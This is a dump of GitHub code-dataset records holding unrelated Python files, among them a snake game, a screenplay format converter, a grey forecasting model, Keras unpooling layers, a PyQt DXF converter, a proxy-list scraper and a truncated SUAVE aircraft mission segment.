self.snake_length += 1\n\nclass Food:\n\n food_width = 10\n food_height = 10\n color = (0, 255, 0)\n\n def __init__(self):\n self.x = round(randrange(0, 600 - 10) / 10.0) * 10.0\n self.y = round(randrange(0, 600 - 10) / 10.0) * 10.0\n self.food_rect = pygame.Rect(self.x, self.y, self.food_width, self.food_height)\n\n def position(self):\n self.x = round(randrange(0, 600 - 10) / 10.0) * 10.0\n self.y = round(randrange(0, 600 - 10) / 10.0) * 10.0\n self.food_rect.x = self.x\n self.food_rect.y = self.y\n\n def draw(self):\n pygame.draw.rect(screen, self.color, self.food_rect)\n\n\ndef game_loop():\n game_over = False\n game_close = False\n\n snake = Snake()\n food = Food()\n\n while not game_over:\n while game_close == True:\n game_over_screen()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_c:\n game_loop()\n if event.key == pygame.K_q:\n sys.exit()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if event.type == pygame.KEYDOWN:\n snake.handle_key_pressed(event)\n\n screen.fill((0, 0, 0))\n food.draw()\n snake.draw()\n score(snake.snake_length)\n pygame.display.update()\n\n if snake.rects[-1].colliderect(food.food_rect):\n snake.snake_length += 1\n food.position()\n\n if not screen_rect.contains(snake.rects[-1]):\n game_close = True\n\n if len(snake.rects) > 1:\n if snake.rects[-1] in snake.rects[:-1]:\n game_close = True\n\n clock.tick(25)\n\n\ngame_loop()\n","repo_name":"wguenther95/snake_game","sub_path":"test/test_add_section.py","file_name":"test_add_section.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4732475485","text":"#Variables\r\n\r\nname_first = \"Sihab Sahariar Sizan\"\r\nage_first = 20\r\nDOB = \"09-06-2020\"\r\n\r\nprint(f\"Name: {name_first}\\nAge: {age_first}\\nDate of Birth: {DOB}\")\r\n\r\n#Concatinating Strings\r\n\r\ns1 = \"Sihab\"\r\ns2 = \"Sahariar\"\r\ns = s1+s2\r\nprint(s1+s2)\r\nprint(s)","repo_name":"SihabSahariar/BRACU-CSE","sub_path":"CSE111-Python/CSE111-Python-master/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"12979052598","text":"import re, sys, os\nfilename = sys.argv[1]\nif '.' in filename:\n\tfilename = os.path.splitext(filename)\n\tfilename = filename[0]\noutfilename = filename + '.fountain'\nflist = []\ntlist = []\nwith open(sys.argv[1], encoding=\"utf8\", errors='replace') as infile:\n\tinscurvy = infile.read()\n\tprint('Reading file...')\n\tif '\\t'in inscurvy:\n\t\tprint('Replacing tabs...')\n\t\tinscurvy = inscurvy.replace('\\t', ' ')\n\tprint('Finding aliases...')\n\taliases = re.findall(r'(\\w+):=(.+)', inscurvy)\n\tprint('Stripping whitespace...')\n\tfor line in inscurvy.split('\\n'):\n\t\tline = line + '\\n'\n\t\tline = line.lstrip()\n\t\tflist.append(line)\n\tprint('Done with first pass.')\nfor tline in flist:\n\ttlower = tline.lower()\n\tiscomment = tline.startswith('#')\n\tif iscomment:\n\t\tprint('Parsing comment...')\n\t\ttline = tline.replace('\\n', ' ')\n\t\ttline = '/* ' + tline[1:] + '*/'\n\tif ':=' in tline:\n\t\tprint('Deleting alias description...')\n\t\ttline = ''\n\tfor src, target in aliases:\n\t\tname = r'.*\\{!*' + re.escape(src) + r'\\}'\n\t\tisname = re.search(name, tline)\n\t\tif isname:\n\t\t\tprint('Replacing ' + src + '...')\n\t\t\ttline = tline.replace('{' + src + '}', target)\n\t\t\ttline = tline.replace('{!' + src + '}', target.upper())\n\t\tchar = re.escape(src) + r'\\(*.*\\)*: '\n\t\tisdialog = re.match(char, tline)\n\t\tif isdialog:\n\t\t\tprint('Parsing dialogue...')\n\t\t\tpreparen = re.escape(src) + r'\\s*\\(.+\\): '\n\t\t\tispreparen = re.match(preparen, tline)\n\t\t\tif ispreparen:\n\t\t\t\ttline = tline.replace(src + ' (', target.upper() + ' (')\n\t\t\t\ttline = tline.replace('): ', ') ')\n\t\t\ttline = tline.replace(') ', ')\\n')\n\t\t\ttline = tline.replace(src + ': ', target.upper() + '\\n')\n\tnewchar = re.search(r'.+\\(*.*\\)*: ', tline)\n\tif newchar:\n\t\tprint('Parsing non-alias character dialogue...')\n\t\ttestline = tline.split(':')\n\t\tif '(' in testline[0]:\n\t\t\tparen = testline[0].split('(')\n\t\t\ttline = paren[0].upper() + '(' + paren[1] + testline[1]\n\t\telse:\n\t\t\ttestlinea = testline[1]\n\t\t\ttline = testline[0].upper() + '\\n' + testlinea[1:]\n\t\tif ') ' in tline:\n\t\t\ttline = tline.replace(') ', ')\\n')\n\tif '||' in tline:\n\t\tprint('Parsing newline...')\n\t\ttline = tline.replace('||', '\\n')\n\tissection = tline.startswith('|#')\n\tif issection:\n\t\tprint('Parsing section...')\n\t\ttline = tline.replace('|#','#')\n\ttran = ['in:', 'out:', 'dissolve:', 'to:'] \n\tfor t in tran:\n\t\tif t in tlower:\n\t\t\tprint('Forcing scene transition...')\n\t\t\ttline = '> ' + tline.upper()\n\tcont = [\"(cont)\", \"(cont'd)\", \"(contd)\", \"(CONTD)\", \"(cont.)\", \"(CONT.)\", \"(CONT)\", \"(Cont)\"]\n\tfor c in cont:\n\t\tif c in tline:\n\t\t\tprint(\"Parsing (CONT'D)...\")\n\t\t\ttline = tline.replace(c, \"(CONT'D)\")\n\tiscaps = tline.startswith('!')\n\tif iscaps:\n\t\tprint('Forcing uppercase...')\n\t\ttline = tline[1:].upper()\n\tscraps = ['int.', 'ext.']\n\tfor cap in scraps:\n\t\tcraps = tlower.startswith(cap)\n\t\tif craps:\n\t\t\tprint('Forcing uppercase...')\n\t\t\ttline = tline.upper()\n\tif '\\n\\n' in tline:\n\t\tprint('Eliminating double newline...')\n\t\ttline = tline.replace('\\n\\n', '\\n')\n\tif tline is ' ':\n\t\ttline = ''\n\tif tline.strip():\n\t\ttline = tline + '\\n'\n\ttlist.append(tline)\nlastline = tlist.pop()\nlastline = lastline.rstrip('\\n')\ntlist.append(lastline)\nwith open(outfilename, 'w') as outfile:\n\toutfile.writelines(tlist)\nprint('Complete!')\n","repo_name":"urbster1/scurvy2fountain","sub_path":"scurvy2fountain.py","file_name":"scurvy2fountain.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73059278914","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 29 19:23:24 2016\n\n@author: DaiPW\n\"\"\"\n\nimport numpy as np\nfrom pandas import Series\nfrom pandas import DataFrame\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\ndef Identification_Algorithm(x): #辨识算法\n B = np.array([[1]*2]*10)\n tmp = np.cumsum(x)\n\n print(\"x len:\", len(x))\n print(\"tmp len:\", len(tmp))\n for i in range(len(x)-1):\n B[i][0] = ( tmp[i] + tmp[i+1] ) * (-1.0) / 2\n print(i)\n Y = np.transpose(x[1:])\n BT = np.transpose(B)\n a = np.linalg.inv(np.dot(BT,B))\n a = np.dot(a,BT)\n a = np.dot(a,Y)\n a = np.transpose(a)\n return a;\n\n\ndef GM_Model(X0,a,tmp): #GM(1,1)模型\n A = np.ones(len(X0))\n for i in range(len(A)):\n A[i] = a[1]/a[0] + (X0[0]-a[1]/a[0])*np.exp(a[0]*(tmp[i]-1)*(-1))\n print ('GM(1,1)模型为:\\nX(k) = ',X0[0]-a[1]/a[0],'exp(',-a[0],'(k-1))',a[1]/a[0])\n XK = Series(A,index=pd.period_range('2003','2013',freq = 'A-DEC'))\n print ('GM(1,1)模型计算值为:')\n print (XK)\n return XK;\n\n\ndef Return(XK): #预测值还原\n tmp = np.ones(len(XK))\n for i in range(len(XK)):\n if i == 0:\n tmp[i] = XK[i]\n else:\n tmp[i] = XK[i] - XK[i-1]\n X_Return = Series(tmp,index=pd.period_range('2003','2013',freq = 'A-DEC'))\n print ('还原值为:\\n')\n print (X_Return)\n return X_Return\n\n\nif __name__ == '__main__':\n # 初始化原始数据\n date = pd.period_range('2003','2013',freq = 'A-DEC')\n tmp = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])\n data = np.array([129227, 129988, 130756, 131448, 132129, 132802, 133450, 134091, 134735, 135404, 136072])\n data = data ** (1 / 10)\n X0 = Series(data,index = date)\n X0_copy = Series(data,index=tmp)\n print ('原始数据为:\\n')\n print(X0)\n\n # 对原始数据惊醒一次累加\n X1 = np.cumsum(X0)\n print ('原始数据累加为:')\n print(X1)\n\n # 辨识算法\n a = Identification_Algorithm(data)\n print ('a矩阵为:')\n print (a)\n\n # GM(1,1)模型\n XK = GM_Model(X0,a,tmp)\n\n # 预测值还原\n X_Return = Return(XK)\n\n # 预测值即预测值精度表\n X_Compare1 = np.ones(len(X0))\n X_Compare2 = np.ones(len(X0))\n for i in range(len(data)):\n X_Compare1[i] = data[i]-X_Return[i]\n X_Compare2[i] = X_Compare1[i]/data[i]*100\n Compare = {'GM':XK,'1—AGO':np.cumsum(data),'Returnvalue':X_Return,'Realityvalue':data,'Error':X_Compare1,'RelativeError(%)':X_Compare2}\n X_Compare = DataFrame(Compare,index=date)\n print ('预测值即预测值精度表')\n print (X_Compare)\n\n # 模型检验\n error_square = np.dot(X_Compare,np.transpose(X_Compare)) # 残差平方和\n error_avg = np.mean(error_square) # 平均相对误差\n\n S = 0 # X0的关联度\n for i in range(1,len(X0)-1,1):\n S += X0[i]-X0[0]+(XK[-1]-XK[0])/2\n S = np.abs(S)\n\n SK = 0 # XK的关联度\n for i in range(1,len(XK)-1,1):\n SK += XK[i]-XK[0]+(XK[-1]-XK[0])/2\n SK = np.abs(SK)\n\n S_Sub = 0 # |S-SK|b\n for i in range(1, len(XK)-1, 1):\n S_Sub += X0[i]-X0[0]-(XK[i]-XK[0])+((X0[-1]-X0[0])-(XK[i]-XK[0]))/2\n S_Sub = np.abs(S_Sub)\n\n T = (1+S+SK)/(1+S+SK+S_Sub)\n\n if T >= 0.9:\n print ('精度为一级')\n print ('可以用GM(1,1)模型\\nX(k) = ',X0[0]-a[1]/a[0], 'exp(', -a[0], '(k-1))', a[1]/a[0])\n elif T >= 0.8:\n print ('精度为二级')\n print ('可以用GM(1,1)模型\\nX(k) = ',X0[0]-a[1]/a[0], 'exp(', -a[0], '(k-1))', a[1]/a[0])\n elif T >= 0.7:\n print ('精度为三级')\n print ('谨慎用GM(1,1)模型\\nX(k) = ',X0[0]-a[1]/a[0], 'exp(', -a[0], '(k-1))', a[1]/a[0])\n elif T >= 0.6:\n print ('精度为四级')\n print ('尽可能不用GM(1,1)模型\\nX(k) = ',X0[0]-a[1]/a[0], 'exp(', -a[0], '(k-1))', a[1]/a[0])\n\n print('精度T:', T)\n\n X2014 = Series(np.array([136782]) ** (1 / 10), index=pd.period_range('2014', '2014', freq='A-DEC'))\n X_Return = X_Return.append(X2014)\n print (X_Return)\n\n B = pd.DataFrame([X0, X_Return], index=['X0', 'X_Return'])\n B = np.transpose(B)\n B.plot()\n plt.plot(B)\n plt.show()","repo_name":"dontLoveBugs/GM-1-1","sub_path":"testMath.py","file_name":"testMath.py","file_ext":"py","file_size_in_byte":4370,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"37877531065","text":"import os\nimport sys\n\n__all__ = ['cache_from_source', 'callable', 'fsencode']\n\n\ntry:\n from imp import cache_from_source\nexcept ImportError:\n def cache_from_source(py_file, debug=__debug__):\n ext = debug and 'c' or 'o'\n return py_file + ext\n\n\ntry:\n callable = callable\nexcept NameError:\n from collections import Callable\n\n def callable(obj):\n return isinstance(obj, Callable)\n\n\ntry:\n fsencode = os.fsencode\nexcept AttributeError:\n def fsencode(filename):\n if isinstance(filename, bytes):\n return filename\n elif isinstance(filename, str):\n return filename.encode(sys.getfilesystemencoding())\n else:\n raise TypeError(\"expect bytes or str, not %s\" %\n type(filename).__name__)\n","repo_name":"myawnhc/MSF","sub_path":"venv/lib/python3.8/site-packages/pip/_vendor/distlib/_backport/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21368011271","text":"from board import Board\n\n\nclass Game(object):\n def __int__(self):\n self.board = Board(10, 10)\n self.board.countNeighbords()\n\n def mainDisplay(self):\n \"\"\" Print the Welcome message to the console \"\"\"\n welcomeStr = \"===================================\\n\" \\\n + \"\\t M I N E S W E E P E R\\n\" \\\n + \"====================================\"\n print(welcomeStr)\n\n def gameOver(self):\n \"\"\" Print the Welcome message to the console \"\"\"\n welcomeStr = \"===================================\\n\" \\\n + \"\\t Game over Mother F***ker\\n\" \\\n + \"====================================\"\n print(welcomeStr)\n self.board.printmatrixValues()\n\n def test(self):\n print(\"hey\")\n self.mainDisplay()\n self.board.countNeighbords()\n self.board.printMatrix()\n self.board.printmatrix2()\n\n def askmove(self):\n while True:\n try:\n row = int(input(\"Please, select a row : \"))\n col = int(input(\"Please, select a column: \"))\n break\n except ValueError:\n print(\"\\n\\tOops!This is not a valid number. Try again... /\\n\")\n return row, col\n\n\n def run(self):\n self.mainDisplay()\n self.board.printMatrix()\n playing =True\n while playing ==True:\n index = self.askmove()\n value = self.board.getmove(index[0], index[1])\n self.board.printMatrix()\n if value == '*':\n self.gameOver()\n playing = False\n\n\n\n\n\n'''game = Game()\ngame.__int__()\ngame.test()\nindex = game.askmove()\n\nprint(index[1])'''\n","repo_name":"AlejoRuiz-b/Minesweeper2","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22802273482","text":"#连续求和\r\ndef add(num):\r\n sum1 = num\r\n while True:\r\n x = yield sum1\r\n if isinstance(x,str):\r\n break\r\n sum1 += x\r\nt1 = add(2) # 创建协程对象,代码没有执行\r\nnext(t1) # next启动代码执行到第一个yield\r\nprint(t1.send(10))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"zhenguo96/test1","sub_path":"Python基础笔记/19/代码/4.add.py","file_name":"4.add.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30276556775","text":"from __future__ import print_function\r\nfrom __future__ import absolute_import\r\n\r\n\r\nfrom keras.engine import Layer\r\nfrom keras.engine import InputSpec\r\nfrom keras.utils import conv_utils\r\nimport tensorflow as tf\r\n\r\n\r\n\"\"\" DePooling2D()([x, mask]) will perform an upsampling on x using a mask containing the only indices to restore\"\"\"\r\n\r\n# upsampling with the help of indices masks\r\n\r\ndef unpool_from_mask(net, mask, stride):\r\n assert mask is not None\r\n\r\n ksize = [1, stride, stride, 1]\r\n input_shape = mask.get_shape().as_list()\r\n # calculation new shape\r\n output_shape = (input_shape[0], input_shape[1] * ksize[1], input_shape[2] * ksize[2], input_shape[3])\r\n # calculation indices for batch, height, width and feature maps\r\n one_like_mask = tf.ones_like(mask)\r\n batch_range = tf.reshape(tf.range(output_shape[0], dtype=tf.int64), shape=[input_shape[0], 1, 1, 1])\r\n b = one_like_mask * batch_range\r\n y = mask // (output_shape[2] * output_shape[3])\r\n x = mask % (output_shape[2] * output_shape[3]) // output_shape[3]\r\n feature_range = tf.range(output_shape[3], dtype=tf.int64)\r\n f = one_like_mask * feature_range\r\n # transpose indices & reshape update values to one dimension\r\n updates_size = tf.size(mask)\r\n indices = tf.transpose(tf.reshape(tf.stack([b, y, x, f]), [4, updates_size]))\r\n values = tf.reshape(net, [updates_size])\r\n ret = tf.scatter_nd(indices, values, output_shape)\r\n\r\n return ret\r\n\r\n\r\nclass DePooling2D(Layer):\r\n def __init__(self, pool_size=2, strides=None, padding='valid',\r\n data_format=None, **kwargs):\r\n super(DePooling2D, self).__init__(**kwargs)\r\n self.data_format = conv_utils.normalize_data_format(data_format)\r\n\r\n if strides is None:\r\n strides = pool_size\r\n self.pool_size = int(pool_size)\r\n self.strides = int(strides)\r\n self.padding = conv_utils.normalize_padding(padding)\r\n\r\n def _unpool_function(self, net, mask, strides):\r\n net = unpool_from_mask(net, mask, strides)\r\n return net\r\n\r\n def call(self, inputs):\r\n net = inputs[0]\r\n mask = inputs[1]\r\n output = self._unpool_function(net=net, mask=mask, strides=self.strides)\r\n return output\r\n\r\n\r\n\r\n\r\n\"\"\" MaskPooling2D([strides, padding])(x) scans x in patches of dimensions [\"strides\", \"strides\"] \r\nand with a padding strategy \"padding\" and returns a mask containing the argmax og x in each patch\"\"\"\r\n\r\n\r\n\r\n\r\n\r\n# computing the argmax masks\r\ndef compute_mask(x, stride, padding='SAME'):\r\n _, mask = tf.nn.max_pool_with_argmax(x,\r\n ksize=[1, stride, stride, 1],\r\n strides=[1, stride, stride, 1],\r\n padding=padding)\r\n mask = tf.stop_gradient(mask)\r\n\r\n return mask\r\n\r\n\r\nclass _mask_top_indices(Layer):\r\n def __init__(self, strides=None, padding='valid',\r\n data_format=None, **kwargs):\r\n super(_mask_top_indices, self).__init__(**kwargs)\r\n self.data_format = conv_utils.normalize_data_format(data_format)\r\n self.strides = int(strides)\r\n self.padding = conv_utils.normalize_padding(padding)\r\n\r\n self.input_spec = InputSpec(ndim=4)\r\n\r\n def compute_output_shape(self, input_shape):\r\n if self.data_format == 'channels_first':\r\n rows = input_shape[2]\r\n cols = input_shape[3]\r\n elif self.data_format == 'channels_last':\r\n rows = input_shape[1]\r\n cols = input_shape[2]\r\n rows = conv_utils.conv_output_length(rows, self.strides,\r\n self.padding, self.strides)\r\n cols = conv_utils.conv_output_length(cols, self.strides,\r\n self.padding, self.strides)\r\n if self.data_format == 'channels_first':\r\n return (input_shape[0], input_shape[1], rows, cols)\r\n elif self.data_format == 'channels_last':\r\n return (input_shape[0], rows, cols, input_shape[3])\r\n\r\n def _mask_top_indices_function(self, inputs, strides,\r\n padding, data_format):\r\n raise NotImplementedError\r\n\r\n def call(self, inputs):\r\n output = self._mask_top_indices_function(inputs=inputs,\r\n strides=self.strides,\r\n padding=self.padding,\r\n data_format=self.data_format)\r\n return output\r\n\r\n\r\nclass MaskPooling2D(_mask_top_indices):\r\n def __init__(self, strides=2, padding='valid',\r\n data_format=None, **kwargs):\r\n super(MaskPooling2D, self).__init__(strides, padding,\r\n data_format, **kwargs)\r\n\r\n def _mask_top_indices_function(self, inputs, strides, padding, data_format):\r\n mask = compute_mask(inputs, strides)\r\n return mask\r\n","repo_name":"LauraMasaracchia/Visualization_VGG16","sub_path":"utils/custom_layers.py","file_name":"custom_layers.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23544826521","text":"filename = \"A-large.in\" #\"A-small-attempt0.in\"\r\nf = open(filename,'r')\r\nout = open(\"output.out\",'w')\r\nT =int(f.readline())\r\nfor Ca in range(T):\r\n [S,K]=[j for j in f.readline().split()]\r\n K=int(K)\r\n #print(S+ \" \"+str(K))\r\n D = [0 if S[i] ==\"+\"else 1 for i in range(len(S))]\r\n #print(str(D)+\" D\")\r\n Del = [D[0]]+[D[i]^D[i-1] for i in range(1,len(D))]\r\n #print(str(Del)+\" DEl\")\r\n I=[j for j in Del]\r\n for i in range(K,len(I)):\r\n I[i] ^=I[i-K]\r\n #print(str(I)+\" I\")\r\n ret= str(sum(I))if sum(I[len(I)-K+1:])==0 else \"IMPOSSIBLE\"\r\n print(\"Case #\"+str(Ca+1)+\": \"+ret)\r\n out.write(\"Case #\"+str(Ca+1)+\": \"+ret+\"\\n\")\r\nf.close()\r\nout.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/2901.py","file_name":"2901.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42231516650","text":"def solution(people, limit):\n boat = 0\n people.sort() # 오름차순 정렬\n i, j = 0, len(people)-1 # 가벼운 사람, 무거운 사람\n while i <= j:\n if i == j: # 홀수명일 때 i, j가 같아짐 -> ex. [70, 80, 50]일 때 50 혼자 타야함\n boat += 1\n break\n elif people[i] + people[j] <= limit: # 무게 제한 이하이면 보트+1, 인덱스 +1, -1\n i += 1\n j -= 1\n boat += 1\n else: # 무게 제한 초과이면 무거운 사람 혼자 타게 보트+1, 덜 무거운 사람으로 바꿈\n j -= 1\n boat += 1\n return boat","repo_name":"dduniverse/Algorithm","sub_path":"프로그래머스/lv2/42885. 구명보트/구명보트.py","file_name":"구명보트.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28431354033","text":"#informe.py\r\n\r\n#Author: Lucas Pangaro\r\n#Mail: Pangaro.lucas@gmail.com\r\n#Date: 25/3/21\r\n\r\n# ..:EJERCICIO 3.9:..\r\n'''Modificá el programa informe.py que escribiste antes (ver Ejercicio 2.18) \r\npara que use esta técnica para elegir las columnas a partir de sus encabezados.\r\n\r\nProbá correr el programa informe.py sobre el archivo Data/fecha_camion.csv\r\n y fijate si da la misma salida que antes.'''\r\n#%%\r\nimport csv\r\ndef leer_precios(archivo):\r\n '''Creo un diccionario con los productos y precios de venta del negocio'''\r\n d = {}\r\n with open (archivo, 'rt') as f:\r\n renglones = csv.reader(f)\r\n for row in renglones:\r\n try:\r\n d[row[0]] = float(row[1])\r\n except :\r\n pass\r\n return d\r\n\r\n#%%\r\ndef leer_camion(archivo):\r\n '''Creo una lista de diccionarios, cada elemento de la lista contiene un diccionaria con nombre, cajones y precio'''\r\n lista_camion = []\r\n with open (archivo, 'rt') as f:\r\n filas = csv.reader(f)\r\n headers = next(filas)\r\n\r\n for n_filas, fila in enumerate(filas, start=1):\r\n record = dict(zip(headers, fila)) \r\n try:\r\n lista_camion.append(record)\r\n \r\n except ValueError:\r\n print(f'Fila {n_filas}: No puede interpretar: {fila}')\r\n\r\n return lista_camion\r\n\r\n#%%\r\ncamion = leer_camion('../Data/fecha_camion.csv')\r\ndic_precios = leer_precios('../Data/precios.csv')\r\ncosto_camion = 0.0\r\nventas = 0.0\r\nganancia = 0.0\r\n\r\nfor lista in camion:\r\n if lista['nombre'] in dic_precios: #en cada iteracion pregunto si el nombre del producto de la lista coincide con algun key del diccionario \r\n costo_camion += float(lista['precio']) * int(lista['cajones']) \r\n ventas += dic_precios[lista['nombre']] * int(lista['cajones']) \r\n\r\nganancia = ventas - costo_camion\r\n\r\nif ganancia > 0:\r\n print(f'El vendedor recaudó ${ventas} y pagó un total de ${costo_camion} por la mercaderia. \\nPor lo tanto obtuvo una GANANCIA de ${ganancia:.2f}')\r\n\r\nelse: #perida\r\n print(f'El vendedor recaudó ${ventas} y pagó un total de ${costo_camion} por la mercaderia. \\nPor lo tanto tuvo una PERDIDA de ${ganancia:.2f}')\r\n\r\n","repo_name":"lpangaro/python-UNSAM","sub_path":"Notas/ejercicios_python/Clase03/informe.py","file_name":"informe.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4026329035","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom PyQt4 import QtCore, QtGui\r\n\r\n# Local modules:\r\nimport DXFTableCreator as tabcreator\r\nimport DXFSections as dxfsecs\r\n\r\nclass Ui_Dialog(object):\r\n\r\n def setupUi(self, Dialog):\r\n #Dialog.setObjectName(\"Dialog\")\r\n Dialog.resize (400, 200)\r\n Dialog.setMinimumSize(QtCore.QSize(400, 200))\r\n Dialog.setMaximumSize(QtCore.QSize(400, 200))\r\n\r\n icon = QtGui.QIcon()\r\n icon.addPixmap(QtGui.QPixmap(\"../src/cad.jpg\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n Dialog.setWindowIcon(icon)\r\n\r\n # Text Label -> Maybe unnecessary\r\n self.label = QtGui.QLabel(Dialog)\r\n self.label.setGeometry(QtCore.QRect(15, 5, 350, 90))\r\n self.label.setMouseTracking(False)\r\n self.label.setTextFormat(QtCore.Qt.AutoText)\r\n self.label.setScaledContents(False)\r\n self.label.setWordWrap(True)\r\n self.label.setOpenExternalLinks(False)\r\n self.label.setObjectName(\"label\")\r\n\r\n # Cancel button\r\n self.button_Cancel = QtGui.QPushButton(Dialog)\r\n self.button_Cancel.setGeometry(QtCore.QRect(205, 110, 185, 80))\r\n self.button_Cancel.setObjectName(\"button_Cancelar\")\r\n\r\n # Convert button\r\n self.button_Convert = QtGui.QPushButton(Dialog)\r\n self.button_Convert.setGeometry(QtCore.QRect(10, 110, 185, 80))\r\n self.button_Convert.setObjectName(\"button_OK\")\r\n\r\n self.retranslateUi(Dialog)\r\n QtCore.QObject.connect(self.button_Cancel, QtCore.SIGNAL(\"clicked()\"), Dialog.close)\r\n QtCore.QMetaObject.connectSlotsByName(Dialog)\r\n\r\n QtCore.QObject.connect(self.button_Convert,QtCore.SIGNAL(\"clicked()\"), self.choose_file)\r\n QtCore.QMetaObject.connectSlotsByName(Dialog)\r\n\r\n def retranslateUi(self, Dialog):\r\n Dialog.setWindowTitle(QtGui.QApplication.translate(\"Dialog\",\r\n \"DXF2TXT Converter\", None, QtGui.QApplication.UnicodeUTF8))\r\n\r\n self.label.setText(QtGui.QApplication.translate(\"Dialog\",\r\n \"Clique \\\"Converter\\\" e escolha o arquivo DXF a ser convertido para TXT.\\\r\n \\n\\nClique \\\"Cancelar\\\" para sair do programa.\",\r\n None, QtGui.QApplication.UnicodeUTF8))\r\n\r\n self.button_Cancel.setText(QtGui.QApplication.translate(\"Dialog\",\r\n \"Cancelar\", None, QtGui.QApplication.UnicodeUTF8))\r\n\r\n self.button_Convert.setText(QtGui.QApplication.translate(\"Dialog\",\r\n \"Converter\", None, QtGui.QApplication.UnicodeUTF8))\r\n\r\n def choose_file(self):\r\n self.filePath = QtGui.QFileDialog.getOpenFileName(None, 'Open file','.','DXF File (*.dxf)')\r\n if self.filePath:\r\n self.myDxfFile = open(str(self.filePath.toUtf8()),'r')\r\n self.convert()\r\n\r\n\r\n def convert(self):\r\n EntitiesList = dxfsecs.ENTITIES(self.myDxfFile)\r\n MyTab = tabcreator.TextTable(EntitiesList.subSections['TEXT'])\r\n MyTab.printto(self.myDxfFile.name)\r\n\r\n\r\n\r\n","repo_name":"aramisf/Pyser","sub_path":"lib/Interface.py","file_name":"Interface.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"70864577796","text":"import requests\nfrom bs4 import BeautifulSoup\nimport random\ndef freshproxies():\n\tvide = []\n\tproxies=[]\n\tm = list()\n\tsession=requests.Session()\n\turl=session.get('https://www.sslproxies.org/')\n\tpage= BeautifulSoup(url.text,'lxml')\n\tf = page.find('table')\n\trows =f.findAll('tr')\n\tfor tr in rows:\n\t\tcols = tr.findAll('td')\n\t\tfor td in cols:\n\t\t\tvide.append(td.text)\n\tfor i in range(len(vide)):\n\t\tproxies.append(vide[0:2])\n\t\tdel vide[0:8]\t\n\tp = 0\n\tfor key in proxies:\n\t\tp+=1\n\t\tif p ==100:\n\t\t\tbreak\n\t\telse:\t\n\t\t\tm.append(key[0]+':'+key[1])\n\treturn random.choice(m)\t\t\n","repo_name":"JelloulMontassar/SpotifyEmailChecker","sub_path":"GETPROXIES.py","file_name":"GETPROXIES.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"38837352653","text":"## @ingroup Methods-Missions-Segments-Climb\n# Constant_Dynamic_Pressure_Constant_Angle.py\n# \n# Created: Jun 2017, E. Botero\n# Modified: \n\n# ----------------------------------------------------------------------\n# Imports\n# ----------------------------------------------------------------------\nimport numpy as np\nimport SUAVE\n\n# ----------------------------------------------------------------------\n# Initialize Conditions\n# ----------------------------------------------------------------------\n\n## @ingroup Methods-Missions-Segments-Climb\ndef initialize_conditions_unpack_unknowns(segment):\n \"\"\"Sets the specified conditions which are given for the segment type.\n\n Assumptions:\n Constrant dynamic pressure and constant rate of climb\n\n Source:\n N/A\n\n Inputs:\n segment.climb_angle [radians]\n segment.dynamic_pressure [pascals]\n segment.altitude_start [meters]\n segment.altitude_end [meters]\n segment.state.numerics.dimensionless.control_points [unitless]\n conditions.freestream.density [kilograms/meter^3]\n segment.state.unknowns.throttle [unitless]\n segment.state.unknowns.body_angle [radians]\n segment.state.unknowns.altitudes [meter]\n\n Outputs:\n conditions.frames.inertial.velocity_vector [meters/second]\n conditions.frames.inertial.position_vector [meters]\n conditions.propulsion.throttle [unitless]\n conditions.frames.body.inertial_rotations [radians]\n\n Properties Used:\n N/A\n \"\"\" \n \n # unpack\n climb_angle = segment.climb_angle\n q = segment.dynamic_pressure\n alt0 = segment.altitude_start \n altf = segment.altitude_end\n t_nondim = segment.state.numerics.dimensionless.control_points\n conditions = segment.state.conditions\n rho = conditions.freestream.density[:,0]\n \n # unpack unknowns\n throttle = segment.state.unknowns.throttle\n theta = segment.state.unknowns.body_angle\n alts = segment.state.unknowns.altitudes \n\n # Update freestream to get density\n SUAVE.Methods.Missions.Segments.Common.Aerodynamics.update_atmosphere(segment)\n rho = conditions.freestream.density[:,0] \n\n # check for 